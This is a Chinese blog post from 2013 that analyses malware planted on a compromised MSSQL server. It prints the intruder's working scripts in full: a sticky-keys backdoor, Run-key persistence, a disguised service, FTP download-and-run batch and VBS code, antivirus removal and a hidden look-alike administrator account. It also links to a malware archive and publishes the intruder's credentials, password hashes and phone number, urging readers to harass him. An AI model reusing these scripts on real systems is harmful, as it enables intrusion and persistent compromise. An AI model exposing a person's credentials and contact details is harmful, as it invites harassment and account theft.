2013-3-16 8:22:20 补充:

各位朋友说的很好:赠人玫瑰,手有余香;得饶人处且饶人;没有必要把人逼到死路,毁了年轻人一辈子。

此事就此打住吧,公开资料教训一下就行了,真把他弄进去了不太好,他可能要坐几年牢,可能毁了这年轻人的一辈子……

至于公开的账号、密码等资料,纯属此人留在服务器上的文件提取出来的,我只是公开这些木马文件而已,你既然做了这些事情,你就应该意识到迟早有这一天,即使不是我公布,也可能是其他人公布,谁叫你没有保护资料的意识呢,各种密码居然留在木马、程序文件中……

不过,放心吧,警方暂时不会找你的。

此事完结,各位道友,就别再搞那家伙了。。


2013-3-15 9:22:44 补充:

今晨突然想起来一些细节,在经过思考之后,我觉得这么专业的抓鸡黑客,应该不是植入一两台机器这么简单,应该是夜以继日的使用服务器疯狂扫描全球IP段,并且大规模植入服务器,我感觉到事态的严重性!

于是,在24小时之后,也就是半小时之前,我进行了第二次深入追查,挖掘抓鸡黑客姓名、邮箱、支付宝身份信息,惊现大规模僵尸网络,掌握大量证据,强烈要求中国警方介入处理!

具体细节见此文:“追查黑客姓名,邮箱,支付宝信息,惊现大规模僵尸网络,要求警方介入处理!


今天早上,一朋友叫帮忙看看,说某业务服务器不稳定,频繁死机重启。

于是进服务器看了看,不看不知道,一看吓一跳,发现一大堆木马、后门、垃圾软件(已全部打包)……

然后挨个清理,彻底检查一番后,做了简单的分析,同时爆了此抓鸡黑客的菊花……

清理过程就不说了,被入侵的原因是,mssql数据库密码没改,一直闲置没用,大约在2013-3-8日晚22:10:00左右,有抓鸡黑客扫1433扫到了……

然后传了一大堆木马,垃圾软件,放了什么挂机赚钱的软件(真你妈有才),还改IE浏览器首页为推广地址(我了个去),详细见底下……

清理完毕后,将清理的文件全部打包,拿来分析,然后呢,嘿嘿……

经过简单的分析后,收集到此抓鸡黑客各种账号密码、FTP、GoTop佣金账号、电话号码、QQ,完爆此黑客菊花……

当然,事情不会就此打住,谁让你动的是核总朋友的服务器呢?还他妈的装了一堆木马、后门、垃圾软件,把服务器搞的混乱不堪……

现在把所有收集到的资料原封不动的公开,让所有读者都可以践踏你的菊花,爆到你菊花残……

这样是不是有点不人道呢?括弧笑

谁让你碰到核上将了呢……括弧笑

药药,切克闹!!!!!!!!!!!

打包文件下载地址:http://pan.baidu.com/share/link?shareid=332787&uk=771752861

警告:压缩包内文件均为木马病毒,如果您不是专业人士,且勿尝试执行任何文件!否则后果自负!!!

解压密码:lcx.cc

以下是简单记录:

/*----------------------------------------------------------------------------*/

[ftp]
yofee.9966.org
122.224.8.148
浙江省绍兴市 电信IDC机房
账号:123,密码:123
ftp://123:123@yofee.9966.org/1433.exe
ftp://123:123@yofee.9966.org/1433pp.exe

[web7b]
username=zinet
password=f6e8bf6d651553f3
用户名:zinet,密码:f6e8bf6d651553f3,密码明文:13005520499(手机号)

[www.gotop.org]
[AccountDetail]
userId=474989
wd5=b24c94aaf674145093b30afa5b760094
[deploy]
IsAutoLogin=true
IsHideUi=false
language=CHS
speed=High
IsNotHomeUi=true

[ftp]
ftp: rar.393114.net
user: qice.cn
password: 360
账号:qice.cn,密码:360
名称:    cie.s.3322.net
Address:  27.17.28.142
Aliases:  rar.393114.net
湖北省武汉市 电信
ftp://qice.cn:360@rar.393114.net/Autodesk.rar
ftp://qice.cn:360@rar.393114.net/gotop.rar
ftp://qice.cn:360@rar.393114.net/GTexe.rar
ftp://qice.cn:360@rar.393114.net/htc.rar
ftp://qice.cn:360@rar.393114.net/qibin.rar
ftp://qice.cn:360@rar.393114.net/Rar.rar
ftp://qice.cn:360@rar.393114.net/sdy.rar
ftp://qice.cn:360@rar.393114.net/sdyexe.rar
ftp://qice.cn:360@rar.393114.net/update.rar
ftp://qice.cn:360@rar.393114.net/weke.rar

[ftp]
ftp: ma.393114.net
user: 123
password: 123
名称:    yofee.9966.org
Address:  122.224.8.148
Aliases:  ma.393114.net
浙江省绍兴市 电信IDC机房
ftp://123:123@ma.393114.net/1433.exe
ftp://123:123@ma.393114.net/1433pp.exe


[ftp]
ftp: cie.s.3322.net
user: qice.cn
password: 360
名称:    cie.s.3322.net
Address:  27.17.28.142
湖北省武汉市 电信
ftp://qice.cn:360@cie.s.3322.net/Autodesk.rar
ftp://qice.cn:360@cie.s.3322.net/gotop.rar
ftp://qice.cn:360@cie.s.3322.net/GTexe.rar
ftp://qice.cn:360@cie.s.3322.net/htc.rar
ftp://qice.cn:360@cie.s.3322.net/qibin.rar
ftp://qice.cn:360@cie.s.3322.net/Rar.rar
ftp://qice.cn:360@cie.s.3322.net/sdy.rar
ftp://qice.cn:360@cie.s.3322.net/sdyexe.rar
ftp://qice.cn:360@cie.s.3322.net/update.rar
ftp://qice.cn:360@cie.s.3322.net/weke.rar

[account]
高仿超级管理员账号:Administartor,密码:6375625
激活并修改SQL数据账号密码:SQLDebugger 6375625
密码很有可能是黑阔的QQ号。

[password]
rar压缩包的密码:810220

[url]
IE首页推广地址:http://www.2345.com/?k1112958

/*----------------------------------------------------------------------------*/

详细记录:

/*----------------------------------------------------------------------------*/

\winpact.reg,用来设置映像劫持(sethc.exe),一个低级shift后门:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
"Debugger"="C:\\WINDOWS\\srchasst\\wmpserv.dll"

/*----------------------------------------------------------------------------*/

\WC.DAT,一个标准CMD下FTP传马的配置文件(抓鸡常用),包含有ftp地址、账号密码:

嘿嘿,悄悄地把木马换成自己的,一批一批的肉鸡哟……

open yofee.9966.org
123
123
binary
get 1433.exe C:\WINDOWS\WinSxS\Policies\360pro.exe
bye

ftp:yofee.9966.org,账号:123,密码:123

/*----------------------------------------------------------------------------*/

\a\controll.inf,修改注册表的,功能:
安装几个映像劫持(包含那个shift后门),
再在run启动项安几个木马,
然后修改IE首页地址为他的推广地址(狗血,服务器上谁用浏览器啊?)
然后再安个系统服务形式的木马……

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=add
DelReg=del
[del]
HKCU,Software\Policies\Microsoft\Windows\system
HKLM,SOFTWARE\Microsoft\Command Processor,AutoRun
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ftp.exe
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exe
[add]
HKlm,Software\Microsoft\Windows\CurrentVersion\Run,,0,"c:\Windows\system32\Brand.exe"
HKlm,Software\Microsoft\Windows\CurrentVersion\Run,okc,0,"C:\WINDOWS\dhcp\GoTop.exe"
HKlm,Software\Microsoft\Windows\CurrentVersion\Run,Laker,0,"C:\WINDOWS\appmgmt\bplaysvr.exe"
HKlm,Software\Microsoft\Windows\CurrentVersion\Run,hit,0,"C:\WINDOWS\MsDtc\mscorsvw.exe"
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe,Debugger,0,"C:\WINDOWS\srchasst\wmpserv.dll"
HKCU,"Software\Microsoft\Internet Explorer\Main","Start Page",,"http://www.2345.com/?k1112958"
HKLM,"SOFTWARE\Microsoft\Internet Explorer\Main","Start Page",,"http://www.2345.com/?k1112958"
HKU,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Start Page",,"http://www.2345.com/?k1112958"
HKU,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Search Page",,"http://www.2345.com/?k1112958"
[DefaultInstall.Services] 
AddService=Ati HotKey Poller,,AddService-1
[AddService-1] 
DisplayName=Ati HotKey Poller 
Description=Administers and Manages ATI Server Objects.
ServiceType=0x20 
StartType=2 
ErrorControl=0 
ServiceBinary=C:\windows\system32\Ati2evxx.exe

/*----------------------------------------------------------------------------*/

\appmgmt\web7b.ini,\appmgmt\bplaysvr.exe 的配置文件,包含有账号、密码(MD5):

[web7b]
username=zinet
password=f6e8bf6d651553f3
adslauto=1
adslname=
adsltype=0
kjqd=1
hide=1
zexe=1276
zt=2
jf=47274
ip=***.***.***.***
rwzs=1
type=1
id=22774
lj=C:\WINDOWS\appmgmt\bplaysvr.exe
name=bplaysvr.exe
desk=65552
server=2
userid=29257

用户名:zinet,密码:f6e8bf6d651553f3,密码明文:13005520499,电话号码哟,亲,打过去骚扰一下抓鸡黑客。

/*----------------------------------------------------------------------------*/

\dhcp\GoTop.exe,这伙还装了个“挂机赚钱”类的软件,官网:http://www.gotop.org/

原理很简单,挂在服务器上,自动浏览别人广告,网站,然后官方会按照相应的规则支付给你佣金。

具体介绍去看:http://www.gotop.org/download.php?language=0

这家伙挺有才的,挂在服务器上,设置为隐藏,每天二十四小时都在刷广告、流量,大批量植入的话,估计佣金不少。

官网宣称此软件极其稳定,但实际上极其不稳定,经常把服务器搞死机、重启。。。。

/*----------------------------------------------------------------------------*/

\dhcp\etc\config.ini,嘿嘿,GoTop.exe的配置文件,此抓鸡黑客的账号密码哟。。。

哟西!先把佣金转走再说。。。。。药药,切克闹!!!

[AccountDetail]
userId=474989
wd5=b24c94aaf674145093b30afa5b760094
[deploy]
IsAutoLogin=true
IsHideUi=false
language=CHS
speed=High
IsNotHomeUi=true

/*----------------------------------------------------------------------------*/

\logs\*,各种配置文件哟,亲,收集一大批抓鸡黑阔的FTP、账号、密码哟……

++++++++++++++++++++++++++++++++++++++++
\logs\config.ini
++++++++++++++++++++++++++++++++++++++++
[AccountDetail]
userId=474989
wd5=b24c94aaf674145093b30afa5b760094
[deploy]
IsAutoLogin=true
IsHideUi=false
language=CHS
speed=High
IsNotHomeUi=true


++++++++++++++++++++++++++++++++++++++++
\logs\GT.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get gotop.rar C:\WINDOWS\WinSxS\InstallTemp\gotop.rar
bye


++++++++++++++++++++++++++++++++++++++++
\logs\GTexe.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get GTexe.rar C:\WINDOWS\WinSxS\InstallTemp\GTexe.rar
bye


++++++++++++++++++++++++++++++++++++++++
\logs\htc.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get htc.rar C:\WINDOWS\srchasst\wmpserv.dll
bye


++++++++++++++++++++++++++++++++++++++++
\logs\ma.ini
++++++++++++++++++++++++++++++++++++++++
open ma.393114.net
123
123
binary
get 1433.exe C:\WINDOWS\WinSxS\Policies\360pro.exe
bye


++++++++++++++++++++++++++++++++++++++++
\logs\qb.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get qibin.rar C:\WINDOWS\WinSxS\InstallTemp\qibin.rar
bye


++++++++++++++++++++++++++++++++++++++++
\logs\rar.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get rar.rar C:\WINDOWS\system32\locatar.exe
bye


++++++++++++++++++++++++++++++++++++++++
\logs\sdy.ini
++++++++++++++++++++++++++++++++++++++++
open cie.s.3322.net
qice.cn
360
binary
get sdy.rar C:\WINDOWS\WinSxS\InstallTemp\sdy.rar
bye


++++++++++++++++++++++++++++++++++++++++
\logs\sdyexe.ini
++++++++++++++++++++++++++++++++++++++++
open cie.s.3322.net
qice.cn
360
binary
get sdyexe.rar C:\WINDOWS\WinSxS\InstallTemp\sdyexe.rar
bye


++++++++++++++++++++++++++++++++++++++++
\logs\update.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get update.rar C:\WINDOWS\WinSxS\InstallTemp\update.rar
bye


++++++++++++++++++++++++++++++++++++++++
\logs\weke.ini
++++++++++++++++++++++++++++++++++++++++
open rar.393114.net
qice.cn
360
binary
get weke.rar C:\WINDOWS\WinSxS\InstallTemp\weke.rar
bye

----------------------------------------
userId=474989
wd5=b24c94aaf674145093b30afa5b760094

ftp: rar.393114.net
user: qice.cn
password: 360

ftp: ma.393114.net
user: 123
password: 123

ftp: cie.s.3322.net
user: qice.cn
password: 360
----------------------------------------

/*----------------------------------------------------------------------------*/

\Network\Network.bat,一个批处理,高度集成模块化的垃圾软件安装程序,流程如下:

先是关掉系统自带的防火墙,然后复制配置文件 config.ini 到系统指定目录。

然后删除一堆启动项,有360、nod32等防护软件……

然后干掉一堆进程(推测是之前传木马残留的进程?),然后删掉这些进程对应的文件。

然后运行木马,再用ftp下载一堆木马……

然后再安装下下来的文件,再ftp下载一堆……

以此类推数次后(服务器被装了一堆垃圾软件就是这么来的),然后安装镜像劫持的shift后门(见上边的注册表文件)

然后再添加一个超级管理员账号:Administartor,密码为:6375625,嘿嘿,我会告诉你密码很有可能是黑阔的QQ号么?

注意这个账号,Administ【ar】tor,而正确的应该是:Administ【ra】tor

丫把“ra”颠倒了一下,创建了一个迷惑人的高仿账号(不得不说,这方法很傻逼),可惜只能迷惑一下不懂电脑的管理员……

然后再下载东西,再安装,再解压一个rar文件到指定目录……

很好,这里我们又得到一个密码:810220,rar压缩包的密码,见 \InstallTemp\ 下的压缩包。

C:\WINDOWS\system32\wins\net stop sharedaccess
copy C:\WINDOWS\system32\logs\config.ini C:\WINDOWS\dhcp\etc\config.ini /y
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "360safe" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "aoc" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "laker" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "okc" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "hit" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "shell" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "estnod32" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "fstnod32" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "gstnod32" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "kstnod32" /f
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "xo" /f
Taskkill /IM app.exe /F
Taskkill /IM csx.exe /F
Taskkill /IM explore.exe /F
Taskkill /IM explores.exe /F
Taskkill /IM mssearch.exe /F
Taskkill /IM net.exe /F
Taskkill /IM net1.exe /F
Taskkill /IM net2.exe /F
Taskkill /IM nert.exe /F
Taskkill /IM nnt.exe /F
Taskkill /IM smssvc.exe /F
Taskkill /IM lo.exe /F
Taskkill /IM osinter.exe /F
Taskkill /IM osinters.exe /F
Taskkill /IM woai.exe /F
Taskkill /IM p.exe /F
Taskkill /IM ppap.exe /F
Taskkill /IM ftp.exe /F
Taskkill /IM run.exe /F
del C:\WINDOWS\system32\app.exe. /q /f
del C:\WINDOWS\system32\csx.exe. /q /f
del C:\WINDOWS\system32\wbem\explore.exe. /q /f
del C:\WINDOWS\system32\wbem\explores.exe. /q /f
del C:\WINDOWS\system32\drivers\mssearch.exe. /q /f
del C:\WINDOWS\addins\net.exe. /q /f
del C:\WINDOWS\java\net1.exe. /q /f
del C:\WINDOWS\java\net2.exe. /q /f
del c:\windows\addins\nert.exe. /q /f
del C:\recycler\nnt.exe. /q /f
del C:\WINDOWS\system32\drivers\disdn\smssvc.exe. /q /f
del C:\WINDOWS\addins\lo.exe. /q /f
del C:\WINDOWS\system32\wbem\osinter.exe. /q /f
del C:\WINDOWS\system32\wbem\osintes.exe. /q /f
del C:\RECYCLER\woai.exe. /q /f
del C:\WINDOWS\system32\p.exe. /q /f
del C:\WINDOWS\system32\ppap.exe. /q /f
del C:\downs\run.exe. /q /f
del C:\WINDOWS\Tasks\*.job. /q /f

:ma
tasklist |find /i "Hpqdirv.exe" 
if %errorlevel%==0 (goto weke) else (goto next)
:next
for %%a in ("C:\WINDOWS\WinSxS\Policies\360pro.exe") do if %%~za gtr 40480 goto ABC
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\ma.ini
for %%a in ("C:\WINDOWS\WinSxS\Policies\360pro.exe") do if %%~za gtr 40480 goto ABC
goto weke
:ABC
C:\WINDOWS\WinSxS\Policies\360pro.exe

:weke
tasklist |find /i "mscorsvw.exe" 
if %errorlevel%==0 (goto qb) else (goto next1)
:next1
for %%a in ("C:\WINDOWS\MsDtc\mscorsvw.exe") do if %%~za gtr 40480 goto RUN1
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\weke.ini
for %%a in ("C:\WINDOWS\WinSxS\InstallTemp\weke.rar") do if %%~za gtr 40480 goto RAR1
goto qb
:RAR1
for %%a in ("C:\WINDOWS\system32\locatar.exe") do if %%~za gtr 40480 goto uzip1
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\rar.ini
:uzip1
C:\WINDOWS\system32\locatar.exe x -p810220 -t -o+ C:\WINDOWS\WinSxS\InstallTemp\weke.rar C:\WINDOWS\MsDtc\
for %%a in ("C:\WINDOWS\MsDtc\mscorsvw.exe") do if %%~za gtr 40480 goto RUN1
goto qb
:RUN1
start C:\WINDOWS\MsDtc\mscorsvw.exe

:qb
tasklist |find /i "bplaysvr.exe" 
if %errorlevel%==0 (goto GoTop) else (goto next2)
:next2
for %%a in ("C:\WINDOWS\appmgmt\bplaysvr.exe") do if %%~za gtr 40480 goto RUN2
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\qb.ini
for %%a in ("C:\WINDOWS\WinSxS\InstallTemp\qibin.rar") do if %%~za gtr 40480 goto RAR2
goto GoTop
:RAR2
for %%a in ("C:\WINDOWS\system32\locatar.exe") do if %%~za gtr 40480 goto uzip2
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\rar.ini
:uzip2
C:\WINDOWS\system32\locatar.exe x -p810220 -t -o+ C:\WINDOWS\WinSxS\InstallTemp\qibin.rar C:\WINDOWS\appmgmt\
for %%a in ("C:\WINDOWS\appmgmt\bplaysvr.exe") do if %%~za gtr 40480 goto RUN2
goto GoTop
:RUN2
start C:\WINDOWS\appmgmt\bplaysvr.exe

:GoTop
tasklist |find /i "GoTop.exe"&&tasklist |find /i "gotopbr.exe"
if %errorlevel%==0 (goto htc) else (goto next3)
:next3
Taskkill /IM GoTop.exe /F
Taskkill /IM gotopbr.exe /F
@echo off&SetLocal EnableDelayEdexpansion&cd /d "%~dp0"
if exist C:\WINDOWS\dhcp\browser\platform.ini set a=1
if exist C:\WINDOWS\dhcp\GoTop.exe set b=1
if exist C:\WINDOWS\dhcp\browser\gotopbr.exe set c=1
set /a n=a+b+c
set /a m=b+c
if !n! == 3 goto run3
if !n! == 0 goto ftp-all
if !a! == 1 if !m! lss 2 goto ftp-exe
:ftp-exe
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\GTexe.ini
for %%a in ("C:\WINDOWS\system32\locatar.exe") do if %%~za gtr 40480 goto uzip3
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\rar.ini
:uzip3
C:\WINDOWS\system32\locatar.exe x -p810220 -t -o+ C:\WINDOWS\WinSxS\InstallTemp\GTexe.rar C:\WINDOWS\dhcp\
for %%a in ("C:\WINDOWS\dhcp\GoTop.exe") do if %%~za gtr 40480 goto RUN3
goto htc
:ftp-all
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\GT.ini
for %%a in ("C:\WINDOWS\system32\locatar.exe") do if %%~za gtr 40480 goto uzip32
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\rar.ini
:uzip32
C:\WINDOWS\system32\locatar.exe x -p810220 -t -o+ C:\WINDOWS\WinSxS\InstallTemp\gotop.rar C:\WINDOWS\dhcp\
for %%a in ("C:\WINDOWS\dhcp\GoTop.exe") do if %%~za gtr 40480 goto RUN3
goto htc
:RUN3
start C:\WINDOWS\dhcp\GoTop.exe

:htc
ver|find /i "5.2"
if %errorlevel%==0 (goto next5) else (goto update)
:next5
for %%a in ("C:\WINDOWS\srchasst\wmpserv.dll") do if %%~za gtr 40480 goto reg
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\htc.ini
for %%a in ("C:\WINDOWS\srchasst\wmpserv.dll") do if %%~za gtr 40480 goto reg
:reg
regedit /s C:\WINDOWS\system32\winpact.reg
C:\WINDOWS\system32\wins\net user Administartor /active:yes 
C:\WINDOWS\system32\wins\net user Administartor 6375625
C:\WINDOWS\system32\wins\net user Administartor 6375625 /add
C:\WINDOWS\system32\wins\net localgroup Administrators Administartor /Add

:update
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\update.ini
for %%a in ("C:\WINDOWS\system32\locatar.exe") do if %%~za gtr 40480 goto uzip4
C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\rar.ini
:uzip4
C:\WINDOWS\system32\locatar.exe x -p810220 -t -o+ C:\WINDOWS\WinSxS\InstallTemp\update.rar C:\WINDOWS\system32\

:exit
del /f /q %userprofile%\cookies\*.* 
del /f /q %userprofile%\recent\*.* 
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" 
del /f /s /q "%userprofile%\Local Settings\Temp\*.*" 
del /f /s /q "%userprofile%\recent\*.*" 
exit

/*----------------------------------------------------------------------------*/

\wins\*.exe,一堆系统自带的exe文件,抓鸡黑客下载的,为啥要下载系统自带的程序呢?

再加上上边高度集成化、模块化、自动化的垃圾软件安装批处理,

由此看出,抓鸡黑客很有抓鸡经验,为啥呢?

像这些:

cacls.exe
cmd.exe
cscript.exe
ftp.exe
net.exe
wscript.exe

有很多服务器都禁用或删除掉了,而这些常用的dos程序,是抓鸡传马常用的,如果缺少这些,会导致种马率变低。

所以嘛,抓鸡黑客自带了这些东西,使抓鸡成功率变高,可以看出,这是很有经验的一个抓鸡黑客(或者是用的高度自动化的抓鸡工具)。

/*----------------------------------------------------------------------------*/

\x\cct.inf,修改映像劫持,run启动项装木马或垃圾软件,然后修改IE浏览器主页(和上边一样)。

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
DELREG=MY.DEL.REG
ADDREG=MY.ADD.REG
[MY.DEL.REG]
HKCU,Software\Policies\Microsoft\Windows\system,
HKLM,SOFTWARE\Microsoft\Command Processor,AutoRun,
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe,
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ftp.exe,
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exe,
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net1.exe,
HKLM,Software\Microsoft\Windows\CurrentVersion\Run,shell,
HKCU,"Software\Microsoft\Internet Explorer\Main","Start Page",
HKLM,"SOFTWARE\Microsoft\Internet Explorer\Main","Start Page",
HKU,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Start Page",
HKU,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Search Page",
[MY.ADD.REG]
HKLM,Software\Microsoft\Windows\CurrentVersion\Run,,0,"C:\windows\system32\Brand.exe"
HKCU,"Software\Microsoft\Internet Explorer\Main","Start Page",,"http://www.2345.com/?k1112958"
HKLM,"SOFTWARE\Microsoft\Internet Explorer\Main","Start Page",,"http://www.2345.com/?k1112958"
HKU,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Start Page",,"http://www.2345.com/?k1112958"
HKU,".DEFAULT\Software\Microsoft\Internet Explorer\Main","Search Page",,"http://www.2345.com/?k1112958"

/*----------------------------------------------------------------------------*/

\x\reten.inf,安装一个木马系统服务的配置文件(和上边一样):

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=Ati HotKey Poller,,My_AddService_Name
[My_AddService_Name]
DisplayName=Ati HotKey Poller
Description=Administers and Manages ATI Server Objects.
ServiceType=0x20
StartType=2
ErrorControl=0
ServiceBinary=C:\windows\system32\Ati2evxx.exe

/*----------------------------------------------------------------------------*/

\x\prntcp.vbs,有意思了,功能和上边批处理差不多,换成vbs了……

先复制配置文件,再删掉一堆run启动项:360等……

然后设置 cmd.exe ftp.exe cacls.exe 权限。

然后加高仿管理员账号:Administartor 6375625

以及激活并修改SQL数据账号密码:SQLDebugger 6375625

On Error Resume Next
Set ws = CreateObject("Wscript.Shell")
set vs=wscript.createobject("scripting.filesystemobject")
vs.copyfile "C:\WINDOWS\system32\logs\config.ini","C:\WINDOWS\dhcp\etc\config.ini"
 
ws.regdelete ("HKCU\Software\Policies\Microsoft\Windows\system\")
ws.regdelete ("HKLM\SOFTWARE\Microsoft\Command Processor\AutoRun")
ws.regdelete ("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okc")
ws.regdelete ("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\laker")
ws.regdelete ("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\360safe")
ws.regdelete ("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\aoc")
ws.regdelete ("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\hit")

ws.run "c:\Windows\system32\wins\cacls.exe c:\Windows\system32\cmd.exe /e /d system",0
ws.run "c:\Windows\system32\wins\cacls.exe c:\Windows\system32\ftp.exe /e /d system",0
ws.run "c:\Windows\system32\wins\cacls.exe c:\Windows\system32\cacls.exe /e /d system",0


strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objItem in colItems
strOSVersion = objItem.Version
Next
select case strOSversion
case "5.2.3790"

Set ws=CreateObject("wscript.shell")
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists("C:\WINDOWS\srchasst\wmpserv.dll") Then
ws.Run "regedit /s C:\WINDOWS\system32\winpact.reg",vbhide
Else
Set ws = CreateObject("Wscript.Shell")
ws.run "C:\WINDOWS\system32\wins\ftp.exe -s:C:\WINDOWS\system32\logs\htc.ini",0
ws.run "C:\WINDOWS\system32\wins\net user Administartor /active:yes",0
ws.run "C:\WINDOWS\system32\wins\net user Administartor 6375625",0

ws.run "C:\WINDOWS\system32\wins\net user SQLDebugger /active:yes",0
ws.run "C:\WINDOWS\system32\wins\net user SQLDebugger 6375625",0

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","Administartor")
od.SetPassword "6375625"
od.Description="Built-in account for administering the computer/domain"
od.SetInfo 
Set of=GetObject(os&"/Administartor",user) 
oe.add os&"/Administartor"

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","SQLDebugger")
od.SetPassword "6375625"
od.Description="This user account is used by the Visual Studio .NET Debugger"
od.SetInfo 
Set of=GetObject(os&"/SQLDebugger",user) 
oe.add os&"/SQLDebugger"

End If
end select

/*----------------------------------------------------------------------------*/

详细文件列表、目录树:

\ASD
|   360pro.exe
|   WC.DAT
|   winpact.reg
|   wmpserv.dll
|
+---a
|       Ati2evxx.exe
|       BrandSnRes.dll
|       controll.inf
|       dzip32.dll
|       Image.ini
|       mfc70.dll
|       msvcr70.dll
|       senddmpRes.dll
|
+---appmgmt
|       bplaysvr.exe
|       web7b.ini
|
+---dhcp
|   |   GoTop.exe
|   |   msvcp90.dll
|   |   msvcr90.dll
|   |
|   +---browser
|   |   |   application.ini
|   |   |   blocklist.xml
|   |   |   freebl3.dll
|   |   |   gotopbr.exe
|   |   |   greprefs.js
|   |   |   mozalloc.dll
|   |   |   mozjs.dll
|   |   |   mozsqlite3.dll
|   |   |   mozutils.dll
|   |   |   msvcp90.dll
|   |   |   msvcr90.dll
|   |   |   nspr4.dll
|   |   |   nss3.dll
|   |   |   nssckbi.dll
|   |   |   nssutil3.dll
|   |   |   platform.ini
|   |   |   plc4.dll
|   |   |   plds4.dll
|   |   |   plugin-container.exe
|   |   |   smime3.dll
|   |   |   softokn3.dll
|   |   |   ssl3.dll
|   |   |   user.js
|   |   |   xpcom.dll
|   |   |
|   |   +---appdata
|   |   |       compatibility.ini
|   |   |       extensions.ini
|   |   |       extensions.log
|   |   |       pkcs11.txt
|   |   |       prefs.js
|   |   |       urlclassifierkey3.txt
|   |   |       user.js
|   |   |
|   |   +---chrome
|   |   |   +---browser
|   |   |   |   +---content
|   |   |   |   |   +---branding
|   |   |   |   |   |       aboutDialog.css
|   |   |   |   |   |
|   |   |   |   |   \---browser
|   |   |   |   |       |   aboutDialog.css
|   |   |   |   |       |   aboutDialog.js
|   |   |   |   |       |   aboutHome.css
|   |   |   |   |       |   aboutHome.js
|   |   |   |   |       |   aboutSessionRestore.js
|   |   |   |   |       |   aboutSyncTabs-bindings.xml
|   |   |   |   |       |   aboutSyncTabs.css
|   |   |   |   |       |   aboutSyncTabs.js
|   |   |   |   |       |   browser-tabPreviews.xml
|   |   |   |   |       |   browser.css
|   |   |   |   |       |   browser.js
|   |   |   |   |       |   content.js
|   |   |   |   |       |   inspector.html
|   |   |   |   |       |   license.html
|   |   |   |   |       |   nsContextMenu.js
|   |   |   |   |       |   openLocation.js
|   |   |   |   |       |   orion-mozilla.css
